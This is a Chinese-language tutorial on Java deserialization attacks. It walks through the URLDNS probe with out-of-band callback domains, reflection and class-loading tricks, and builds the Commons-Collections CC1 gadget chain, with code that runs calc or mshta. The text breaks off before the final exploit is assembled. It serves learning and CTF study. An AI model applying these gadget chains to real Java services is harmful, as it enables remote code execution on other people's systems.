0X0 前言 入Web也有三个月了吧,在这三个月也学到了很多,终于步入了Java安全领域,打算在这里开一个新坑,研究Java的CC链和内存马,以及RMI和JNDI,框架等等,这是一开始想不到的高度,所以写的会尽可能基础详细,可以看懂,加油吧,路还长 参考视频:
讲的究极无敌细腻,强推
1X1 Java原生序列化和反序列化 Java中序列化对应的函数为:ObjectOutputStream.WriteObject
函数 反序列化对应的为:ObjectInputStream.readObject
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package com.boogipop.www.base;public class serialize { private String name; private int age; public serialize (String name, int age) { this .name = name; this .age = age; } @Override public String toString () { return "serialize{" + "name='" + name + '\'' + ", age=" + age + '}' ; } public void setName (String name) { this .name = name; } public void setAge (int age) { this .age = age; } public String getName () { return name; } public int getAge () { return age; } }
正常来说这样会报错,如何解决呢,默认的类是不可以序列化的,要想序列化需要实现一个接口:Serializeable 成功写入序列化内容,可以看到部分信息,比如我们传入的名称kino 序列化完了之后就该反序列化了吧,接下来就来反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package com.boogipop.www.base;import java.io.*;import java.util.Arrays;public class Main { public static void main (String[] args) throws IOException, ClassNotFoundException { FileInputStream fis=new FileInputStream ("1.bin" ); ObjectInputStream ois=new ObjectInputStream (fis); serialize s=(serialize)ois.readObject(); ois.close(); System.out.println("over" ); System.out.println(s); } }
反序列化成功,经过测试发现不强制转换似乎也没什么区别:这会产生什么安全问题呢? 只要服务端反序列化数据,客户端传递的类就会被执行,给予攻击者执行任意代码的权利
可能的形式
入口类的readObejct直接调用危险方法
入口类参数包含可控类,可控类里有危险方法
入口类参数包含可控类,该类又调用其他含危险方法的类
构造函数/静态代码块等类加载时隐式执行
1X1.1 如何执行危险命令 下面是一个基础案例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package com.boogipop.www.base;import java.io.IOException;import java.io.ObjectInput;import java.io.ObjectInputStream;import java.io.Serializable;public class serialize implements Serializable { private String name; private int age; public serialize () { this .name = name; this .age = age; } @Override public String toString () { return "serialize{" + "name='" + name + '\'' + ", age=" + age + '}' ; } public void setName (String name) { this .name = name; } public void setAge (int age) { this .age = age; } public String getName () { return name; } public int getAge () { return age; } private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc" ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.boogipop.www.base;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;public class Main { public static void Serialize (Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("1.bin" )); oos.writeObject(obj); } public static void main (String[] args) throws IOException { serialize per= new serialize (); Serialize(per); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.boogipop.www.base;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class Apply { public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } public static void main (String[] args) throws IOException, ClassNotFoundException { serialize unserialize = (serialize)unserialize("1.bin" ); System.out.println(unserialize); } }
注意观察,由于我们在serialize
类重写了readObject
方法,所以当反序列化时,ois.readObject();
调用的是重写的readObject
方法,因此触发了我们的calc
命令
这种类型是最基础的也是最不可能发生的,一般不可能有人会在服务器写这么危险的类,所以并不太可能发生这种情况,只有我们测试才会手动添加一个
1x1.2 共同条件
都继承了Serializeable接口
入口类source(重写readObject、参数类型宽泛、jdk自带就更好、常见函数)
调用链(gaget chain)
执行类 sink(ssrf,rce….)
1x1.2.1 入口类 入口类一般是Map,Hashmap,HashTable
这些集合类,因为集合类型宽泛(泛型),因此肯定继承了Serializeable
接口,在Hashmap
类中也重写了readObject
方法: 那为什么Hashmap要重写readObject方法呢? 在大佬的文章中我得到了答案:
HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。 Hash值不同导致的结果就是:有可能一个HashMap对象的反序列化结果与序列化之前的结果不一致。即有可能序列化之前,Key=’AAA’的元素放在数组的第0个位置,而反序列化值后,根据Key获取元素的时候,可能需要从数组为2的位置来获取,而此时获取到的数据与序列化之前肯定是不同的
1X1.2.2 调用链 所谓调用链就是一条完整的命令执行流程,在入口类中的readObject方法中,最好有一些常见的方法,这样不管我们传什么东西进去,他都可以调用这个方法,也加大了进一步探索的可能 调用链中一般会使用很多重名函数 ,为了实现不同的效果
1X1.2.3 执行类 就是最后RCE的地方,这一部分就至关重要了,要在调用链中找到一个可以执行命令的类,也是相对比较困难的
1x1.3 以ysoserial的URLDNS说起 ysoserial作为一款github开源的java反序列化工具,内涵CC链,等多条payload,我们选取payload中的URLDNS来讲,该payload的作用是校验target是否存在java反序列化漏洞 从源码导包可以看出调用的是URL类,接下来我们就从该类去尝试摸一条调用链出来: 从上面的共同条件来看,我们已经知道调用链需要满足重写readObject
方法,因此我们查看一下Hashmap
源码中的readObject: 已经是重写了readObject方法,至于原因在上面已经阐述了,重点跟踪到putVal
函数: 在readObject方法的最后调用了putVal函数,putVal中调用了hash
函数,我们继续跟进: 在hash方法中调用了key.hashCode
方法,Object key
是我们的可控类,也就是我们可以调用可控类中的hashCode方法,这样是之前我为什么强调调用链中需要有常见函数 假如我们将URL类传进去会发生什么呢? 在URL类也发现了hashCode函数,也就是说假如传入URL的实例对象,那么就会触发URL.HashCode
,并且这里有个判断,假如hashCode不为-1则直接return hashCode,反之就进入我们的目的函数 **hashCode**
,hashCode属性的默认值即为-1,因此当我们new一个URL对象后,就进入了目标函数! 咱们继续跟进: 观察到了getHostAddress(u);
函数,根据函数名也知道这是获取主机地址的函数,也就是说,假如存在反序列化漏洞,那么我可以传入我们VPS的地址,并开启一个监听,这样就可以校验是否存在Java反序列化漏洞,这就是ysoserial的DNSURL的原理所在,那么我们测试一下实际能否按照我们设想的进行呢? 这里利用burp的collaboration功能起一个域名监听,实验代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.boogipop.www.base;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.net.URI;import java.net.URL;import java.util.HashMap;public class Main { public static void Serialize (Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("1.bin" )); oos.writeObject(obj); } public static void main (String[] args) throws IOException { HashMap<URL,Integer> hashmap=new HashMap <>(); hashmap.put(new URL ("http://t6069r35pt46go32peqkixc6ixoncc.burpcollaborator.net" ),1 ); Serialize(hashmap); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package com.boogipop.www.base;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.net.URL;import java.util.HashMap;public class Apply { public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } public static void main (String[] args) throws IOException, ClassNotFoundException { serialize unserialize = (serialize)unserialize("1.bin" ); System.out.println(unserialize); } }
这边先进行序列化: 奇怪的事情发生了,为什么我单单进行了序列化却发送了DNS请求?为了理清思路,我们断掉调试一下: 我们跟踪一下调试进程: 可以发现第一步是进入了HashMap的putVal函数,那根据上面的分析,接下来就会必定会进入getHostAddress(u);
函数,因此触发了DNS请求,然后由于hashCode属性被更改,所以反序列化的时候无法触发DNS请求 因此问题就来了,我们怎么分辨是反序列化漏洞造成的DNS请求呢?假如需要满足我们的理想模型,那么是否在hashmap.put(new URL("http://q1s3sx95kfyzsopaac8bc7goqfw5ku.burpcollaborator.net"),1);
函数这里不该发送DNS请求,并且put后再把hashCode属性改为-1,这样反序列化才能再次调用 那么如何实现呢?这就得用到java反射了,接下来就围绕着这一点继续展开 最后给上一张自己画的逻辑图:
1x1.4 Java反射+URLDNS链 1x1.4.1 先讲讲反射 首先说到反射,那有反射肯定就有正射,什么是正射和反射呢 正射:通过类来实例化对象,就是我们经常用的new
反射:和正射恰巧相反,反射是通过实例化对象,反过来获取所在类的所有信息结构的一种方式,常用的方法有getClass、forNmae、getConstructor.....
等等方法 下面就举一个小例子来带大家体会一下反射:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package com.boogipop.www.base;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.net.URI;import java.net.URL;import java.util.HashMap;public class Main { public static void Serialize (Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("1.bin" )); oos.writeObject(obj); } public static void main (String[] args) throws Exception { serialize s1=new serialize ("kino" ,12 ); Class c1 = s1.getClass(); Constructor constructor = c1.getConstructor(String.class, int .class); serialize s2=(serialize)constructor.newInstance("Boogipop" ,15 ); System.out.println(s2); Field age = c1.getDeclaredField("age" ); age.set(s2,18 ); System.out.println(s2); } }
运行如上代码是会报错的(嘻嘻): 这是因为私有属性默认是不能通过set方法修改的,所以我们得再加一条代码:age.setAccessible(true);
:允许修改 其中serialize类就是之前用的,可以从代码中直观的感受正射和反射的区别,同理也可以用反射获取属性,方法….等等,总而言之反射是JavaSE中最后一个板块,相信看这篇文章的各位已经学的非常透彻了,我也就不多赘述,大致的流程就是如上代码
1.1.4.2 解决1x1.4的疑惑 我们的思路已经比较清晰了,要让HashMap在put时不触发DNS请求,那也就是不能让hashCode属性为-1,只需要随便改成一个其他的整型数即可 其次在这之后我们需要把hashCode的属性值再改为-1,因为这样反序列化时才能够触发DNS请求,这也就达到了我们想要实现的效果,这个效果也就是yoserial中DNSURL.java
的核心功能代码 我们只需要用反射来修改类的属性即可,这个在上面提到过 修改后的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.boogipop.www.base;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.net.URI;import java.net.URL;import java.util.HashMap;public class Main { public static void Serialize (Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("1.bin" )); oos.writeObject(obj); } public static void main (String[] args) throws Exception { HashMap<URL,Integer> hashmap=new HashMap <>(); URL url=new URL ("http://rvqasmn68m3pwafv6v7hoixwfnld92.oastify.com" ); Class c1=url.getClass(); Field hashcode = c1.getDeclaredField("hashCode" ); hashcode.setAccessible(true ); hashcode.set(url,1145 ); hashmap.put(url,1 ); hashcode.set(url,-1 ); Serialize(hashmap); } }
序列化未发现DNS请求: 反序列化收到DNS请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.boogipop.www.base;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.net.URL;import java.util.HashMap;public class Apply { public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } public static void main (String[] args) throws IOException, ClassNotFoundException { unserialize("1.bin" ); } }
调用栈肯定就是我们之前分析的那样,我们可以打个断点调试: 可以看到hashCode的值在反序列化时就是-1,因此触发了请求:
1X1.4.3 反射在Java反序列化中的利用 从上面的例子中可以发现一个很有意思的地方: 这一条命令我们穿的参数是字符串,这是不是和PHP的eval函数(动态加载)有点相似了,因此在这里我们就可能引入本来不能序列化的类,比如Runtime.getRuntime
,最典型的命令执行类 除此之外还有反射的invoke方法,可以让我们调用除了重名函数以外的函数
1X1.5 JDK动态代理 1x1.5.1 JDK静态代理 所谓的静态代理可以举一个很形象的例子,那就是
1 2 3 4 public interface Rentinterace { void rent () ; void pay () ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 public class RentDirect implements Rentinterace { @Override public void rent () { System.out.println("租房" ); } @Override public void pay () { System.out.println("付钱" ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class RentProxy implements Rentinterace { public Rentinterace user; public RentProxy (Rentinterace user) { this .user=user; } @Override public void rent () { System.out.println("中间商帮你租房" ); user.rent(); } @Override public void pay () { System.out.println("中间商帮你付款" ); user.pay(); } }
1 2 3 4 5 6 7 8 9 10 11 public class Test { public static void main (String[] args) { Rentinterace user=new RentDirect (); Rentinterace usr=new RentProxy (user); user.pay(); user.rent(); usr.pay(); usr.rent(); } }
上述例子是一个完整的静态代理,可以看到RentProxy类就相当于中间商,“卡在”中间,我们可以通过它间接的去调用RentDierct类中的方法,但是静态代理有个缺点 就是假如我们修改接口,那么Direct类和Proxy类都需要修改,这就显得很麻烦,因此动态代理诞生了
1X1.5.2 回到动态代理 在Java中也提供了动态代理服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;public class Test { public static void main (String[] args) { Rentinterace user=new RentDirect (); InvocationHandler userinvocationhandler=new Userinvocationhandler (user); Rentinterace actionuser=(Rentinterace) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(),userinvocationhandler); actionuser.rent(); actionuser.pay(); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class Userinvocationhandler implements InvocationHandler { Rentinterace user; public Userinvocationhandler (Rentinterace user) { this .user=user; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { System.out.println("这里是动态代理,我调用了方法:" +method.getName()); method.invoke(user,args); return null ; } }
上述例子就是个动态代理的例子,我们调用了Proxy.newProxyInstance
方法: 可以看到上图中需要的是哪个参数,要代理的接口,类加载器,要处理的事情 其中要处理的事情就是一个InvocationHandler
接口,我们要新建一个类去重写invoke方法,如上述代码,执行结果如下 到这里JDK的动态代理就基本结束了
1X1.5.3 动态代理和反序列化的关系 举个例子吧,假如你想要执行的危险命令为B.danger
,刚好有一个入口类是A(Object)
,这个Object就是我们可控的参数,我们让Object为B类,但是A中的方法没有danger,只有A.abc
=>B.abc
,也就是不能执行命令,但是假如我们可控类是个代理类型的O(Object)
,然后O里的可控参数O2刚好调用了danger,那也只需要让O2为B类即可,说的可能有点抽象,大家自行意会
1X1.6 类的动态加载 1X1.6.1类加载与反序列化 在此之前需要介绍2个代码块,静态代码块和构造代码块
1 2 3 4 5 6 7 { system.out.printIn("构造代码块" ); } static { system.out.printIn("静态代码块" ); }
它们两的形式就如上,这里就涉及到一个类加载的问题 众所周知,在类加载的时候是会执行代码的初始化和实例化: 执行静态代码块,所谓初始化不是实例化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public class Person { { System.out.println("构造代码块" ); } static { System.out.println("静态代码块" ); } public Person () { System.out.println("无参构造方法" ); } public Person (String word) { System.out.println(word); } private int id; private int age; private String name; @Override public String toString () { return "Person{" + "id=" + id + ", age=" + age + ", name='" + name + '\'' + '}' ; } public void setId (int id) { this .id = id; } public void setAge (int age) { this .age = age; } public void setName (String name) { this .name = name; } public int getId () { return id; } public int getAge () { return age; } public String getName () { return name; } }
1 2 3 4 5 public class Test { public static void main (String[] args) throws ClassNotFoundException { Class.forName("Person" ); } }
根据执行结果可以知道加载了静态代码块,构造代码块等未执行 我们也可以让类加载的时候不进行初始化,在forName的源码可以看见:initialize
默认为true,也就是默认初始化,所以执行了静态代码块的方法,构造方法默认需要四个参数,由于最后一个为null,也就是三个,一个String,一个ClassLoaderClassLoader
待会儿会提到,是一个类加载器
1 2 3 4 5 6 public class Test { public static void main (String[] args) throws ClassNotFoundException { ClassLoader c1=ClassLoader.getSystemClassLoader(); Class.forName("Person" ,false ,c1); } }
可以看到手动停止了类初始化 那再来说说实例化:
1 2 3 4 5 6 7 8 9 10 public class Test { public static void main (String[] args) throws ClassNotFoundException { new Person ("Hello" ); } }
在类进行实例化的时候,构造代码块和构造函数和静态代码块一并执行,这就是两者的区别
1X1.6.2 双亲委派机制(跟进调试) 所谓的双亲委派机制,指的就是:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。 那么,什么情况下父加载器会无法加载某一个类呢? 其实,Java中提供的这四种类型的加载器,是有各自的职责的:
Bootstrap ClassLoader ,主要负责加载Java核心类库,%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jar和class等。
Extention ClassLoader,主要负责加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。
Application ClassLoader ,主要负责加载当前应用的classpath下的所有类
User ClassLoader , 用户自定义的类加载器,可加载指定路径的class文件
那么也就是说,一个用户自定义的类,如com.hollis.ClassHollis 是无论如何也不会被Bootstrap和Extention加载器加载的。其实很好理解,就是一层层的去委派,自上而下 接下来就在IDEA中断点调试一下,分析一下它的流程,调试代码如下: 首先是进入了ClassLoader
类里的loadClass方法: 调用了Launcher
(Appclassloader)里的loadclass方法: 之后就是一系列的安全判断,我们省去,只解释重要部分,在这里查询了parent加载器是否为null,结果为null的话就再往下慢慢去找 现在进入了URLclassloader里,属于ext拓展类加载器,这是app加载器的父类加载器,URLclassloader是Appclassloader类的父类: 在父类加载器中没找到,就又回到了Appclassloader,然后调用了urlclassloader里的defineclass
: 继续前往URLclassLoadr的父类SecureClassLoader: 最后也是在Appclassloader里加载了这个类: 从结果可以看到是加载了字节码 从结果分析这几个类的父子关系是ClassLoader->SecureClassloader->urlclassloaer->applicationclassloaer->loadclass->defineclas(加载字节码)
1X1.6.3 URLclassLoader任意类加载 上文中已经分析了URLclassloader,其实这个类里面还有一个loadclass方法,可以通过URL加载类,通过如下例子来理解: 首先python起一个http服务:
1 2 3 4 5 6 7 8 9 10 11 import java.net.URL;import java.net.URLClassLoader;public class Test { public static void main (String[] args) throws Exception { URLClassLoader urlloader=new URLClassLoader (new URL [] {new URL ("http://localhost:8000/" )}); Class<?> hello = urlloader.loadClass("Hello" ); hello.newInstance(); } }
可以看到URLclassLoader可以加载class文件,除此之外还可以用别的方式,比如file协议,jar协议等等
1X1.6.4 ClassLoader加载字节码执行命令 在上文中也说到了,我们最后加载类是通过Classloader.defineClass
方法加载字节码得到的,因此我们可以通过反射获取defineClass方法,加载我们定义的任意类,只需要以字节码的形式传入即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.io.IOException;public class Hello { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } public static void main (String[] args) { } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;public class Test { public static void main (String[] args) throws Exception { Method defineclass=ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineclass.setAccessible(true ); byte [] words= Files.readAllBytes(Paths.get("E:\\CTF学习笔记\\Java\\Java\\out\\production\\Java\\Hello.class" )); ClassLoader c=ClassLoader.getSystemClassLoader(); Class hello = (Class) defineclass.invoke(c, "Hello" , words, 0 , words.length); hello.newInstance(); } }
RCE成功
1X1.6.5 Unsafe加载字节码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import sun.misc.Unsafe;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;public class Test { public static void main (String[] args) throws Exception { byte [] words= Files.readAllBytes(Paths.get("E:\\CTF学习笔记\\Java\\Java\\out\\production\\Java\\Hello.class" )); ClassLoader c=ClassLoader.getSystemClassLoader(); Field f=Unsafe.class.getDeclaredField("theUnsafe" ); f.setAccessible(true ); Unsafe unsafe = (Unsafe) f.get(null ); Class<?> hello = unsafe.defineClass("Hello" , words, 0 , words.length, c, null ); hello.newInstance(); } }
可能细心一点的人发现了,这次我获取的是unsafe的属性,而不是defineClass
方法,同样的unsafe类也有definclass方法,但是他是原生的类(底层C加载),因此反射过来无法调用: 而classloader里的definclass就不是了: 因此我们需要先获取Unsafe对象,进而调用definclass方法,最后加载任意类从而实现命令执行: 在Unsafe的静态代码块里可以看到,theunsafe属性是一个Unsafe对象,因此获取他
1X2 深入研究CC链(1-7) CC链全称CommonsCollections(Java常用的一个库)
1X2.1 CC1 CC1链作为最重要的一条链,所以我会尽可能的讲的很清楚,让大家看清楚,因为CCx的思路和CC1基本一致,所以理解透彻了一条链,那么其他链也就通了
1X2.1.1 环境搭建 JDK版本:jdk1.8_8u65 用8u65的原因的CC1在8u71版本后被修复了,下载地址 国内的oracle jdk下载的好像有点问题,下载不到8u65,原因未知 Maven依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <dependencies > <dependency > <groupId > junit</groupId > <artifactId > junit</artifactId > <version > 4.11</version > <scope > test</scope > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
Src源码: 由于默认下载的JDK的源码中是没有sun包的,所以在里面看到的sun包下的java文件都是class后缀(编译后),我们需要.java后缀的,也就是源码,这样才可以调试,就像下图 因此我们得去openjdk下载8u65版本的源码:
直接下载zip然后把源码中的sun包复制到jdk的src里: 最后再Project Struct里添加一下src路径: 刚刚的class文件就变成java文件了,做好了这些就可以开始分析了
1X2.1.2 流程分析——手写EXP 要开始分析了好紧张啊,因为感觉还是会有点绕的,希望能解释清楚吧 首先说说入口吧,入口就是Transformer
接口的transform
方法: 图中transform方法被21个类实现了,我们的入口类是InvokerTransformer
: 在该类中调用了transform方法,该方法需要传入一个object对象,然后会通过反射调用该对象的指定方法,这个都是我们可控的,因此造成了安全隐患 继续分析之前先来回顾一下如何通过反射来执行命令:
1 2 3 4 5 6 7 8 9 10 11 import java.lang.reflect.Method;public class CC1 { public static void main (String[] args) throws Exception { Runtime r=Runtime.getRuntime(); Method exec = Runtime.class.getDeclaredMethod("exec" , String.class); exec.setAccessible(true ); exec.invoke(r,"calc" ); } }
这是在我们说反序列化基础里讲到的,那么继续来分析,我们说了入口类是InvokerTransformer
的transform
方法,我们就试一下用InvokerTransformer去执行命令: 构造方法里需要传入的三个参数分别是,需要调用的方法,参数类型,参数,然后在transform方法里要传入一个object,去调用构造函数中传入的方法
1 2 3 4 5 6 7 8 9 import java.lang.reflect.Method;public class CC1 { public static void main (String[] args) throws Exception { Runtime r=Runtime.getRuntime(); InvokerTransformer exec = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); exec.transform(r); } }
这样也可以成功的去执行命令,这也是我们CC1链中最为重要的部分,剩下的部分都是围绕着这个方法去展开的,知道了InvokerTransformer方法可以调用transform执行命令,那接下来的思路就是寻找还有其他什么地方调用了transform
方法,并且可以控制传入的object,之后只需让object等于InvokerTransformer即可执行命令: 重点看到这三个Map集合,在这里就产生了2种CC链,一种是国外原版的,也就是ysoserial里的,另一种是流传到国内的另一个版本。Lazymap是国外的,Transformmap是国内的,但是这两种方法八九不离十,所以本质一模一样 在Transformedmap中调用了checkSetValue
方法,其中就调用了transform,那么我们来分析一下TransformedMap类: 该类的构造方法是一个保护类型的,因此注定了只能在类内部进行调用,所以继续跟踪,寻找在哪被调用: 在decorate方法中实例化了TransformedMap类,那么谁又调用了checkSetvalue呢? 在AbstractInputCheckedMapDecorator
类中调用了setValue
方法,其中就调用了checkValue方法,而且我们可以看到AbstractInputCheckedMapDecorator
类其实上是Transformedmap
的父类: 在这里假如对Java集合熟悉一点的人看到了setValue
字样就应该想起来,我们在遍历集合的时候就用过setValue和getValue,这就是我们之前讲到的重名函数的利用 那接下来可以根据这个思路做一个小demo,也就是调用decorate方法获得实例化对象,再遍历这个Map,在遍历中调用setValue方法,由于TransformedMap继承了AbstractInputCheckedMapDecorator
类,因此当调用setValue时会去父类寻找:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CC1 { public static void main (String[] args) throws Exception { Runtime r=Runtime.getRuntime(); InvokerTransformer invokertransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); Map<Object,Object> map=new HashMap <>(); map.put("afei" ,"shishabi" ); Map<Object,Object> transformedmap = TransformedMap.decorate(map, null , invokertransformer); for (Map.Entry entry:transformedmap.entrySet()){ entry.setValue(r); } } }
具体思路如上,我们最终调用了setValue,然后触发了checkSetvalue,最终触发了Invokertransformer的transform方法,最终执行了命令 接下来该如何找到调用了setValue的类呢?我们继续看看setValue在哪儿被调用了: 在反射包中找到了一个绝佳的类AnnotationInvocationHandler
,既有readObject
重写,又在readObject
中调用了setValue方法(让我怀疑这是不是java设计师留下来的后面),所以我们跟进:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } } }
上面就是AnnotationInvocationHandler.readObject
源码,在memberValue.setValue
调用了方法,我们先分析一个AnnotationInvocationHandler
类: 这个类没有被public声明,也就是在外面无法通过名字来调用,因此只可以用反射获取这个类,我们看一下这个类的构造方法需要传入什么类型的参数: 一个Class对象,一个Map对象,其中Class继承了Annotation,也就是需要传入一个注解类进去(Target,Override)这里我们选择Target后面会说为什么的
1 2 3 4 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationconstructor.setAccessible(true ); Object o = annotationconstructor.newInstance(Target.class, transformedmap);
最后调用起来如上,这只是部分代码,所以不需要知道里面传入的是啥,基本形式就是这样,解决完这一个问题,还有另一个问题,就是Runtime类是不可以被序列化的,如何解决这一个问题成了国际难题,还记得在一开始讲Java反序列化基础时我提到过的动态加载吗? 你看Invokertransformer
像不像一个动态加载: 这些参数都是可控的,并且Invokertransformer是可以序列化的,因此可以利用Invokertransformer和反射去调用Runtime类:
1 2 3 4 5 6 7 8 Method Runmethod= (Method) new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class.class},new Object []{"getRuntime" ,null }).transform(Runtime.class); Runtime r=(Runtime)new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(Runmethod); Method execmethod=(Method) new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class.class},new Object []{"exec" ,String[].class}).transform(Runtime.class); new InvokerTransformer ("invoke" ,new Class []{String.class},new Object []{"calc" }).transform(r);
这样利用Invokertransformer和反射可以成功调用Runtime.getRuntime().exec
方法解释一下上面代码的意思吧: 首先调用Invokertransformer方法的构造函数,传入的第一个参数String代表你需要调用的方法,第二个参数new Class[]数组代表你方法需要的参数类型,第三个参数new Object[]数组代表方法参数的具体值 Invokertransformer.transform传入的参数表示需要触发方法的对象,如第一段代码transform(Runtime.class);
表示Runtime.class.getDeclaredMethod("getRuntime",null);
这样大致就明白了吧,但还有一个小问题,在刚刚的小Demo里:
1 2 3 4 5 6 7 Runtime r=Runtime.getRuntime(); InvokerTransformer invokertransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); Map<Object,Object> map=new HashMap <>(); map.put("afei" ,"shishabi" ); Map<Object,Object> transformedmap = TransformedMap.decorate(map, null , invokertransformer); for (Map.Entry entry:transformedmap.entrySet()){ entry.setValue(r);
其中我们的transformedmap是传入了一个invokertransformer
,但是现在这个对象没有了,被拆成了多个,就是上述四段代码,得想个办法统合起来,这里就回到最初的Transformer接口里去寻找: 在ChainedTransformer里可以看到有transform方法,我们之前最终想要调用的是invokertransformer的transform方法,但是看ChainedTransformer的transform方法,他对属性iTransformers
进行了一次递归调用 是一个Transformer数组,那么假如这个数组里面的元素是invokertransformer
那不就可以了?就和上面四段代码一样,也是递归调用!
1 2 3 4 5 6 7 8 9 10 11 Transformer[] transformers=new Transformer []{ new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{" mshta vbscript:msgbox(\"恭喜你成功完成CC1!\",64,\"Congratulations!\")(window.close)" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(Runtime.class);
到这一步基本的雏形已经完成了,但是有一个地方会有问题,我们可以调试一下,我们最终需要调用的是AnnotationInvocationHandler.readObject
里的setValue,流程为 setValue->checkSetValue->transform 这里的valueTransformer其实就是等价于传入的那个map 也就是chaintransformer,因此可以做出雏形CC链:
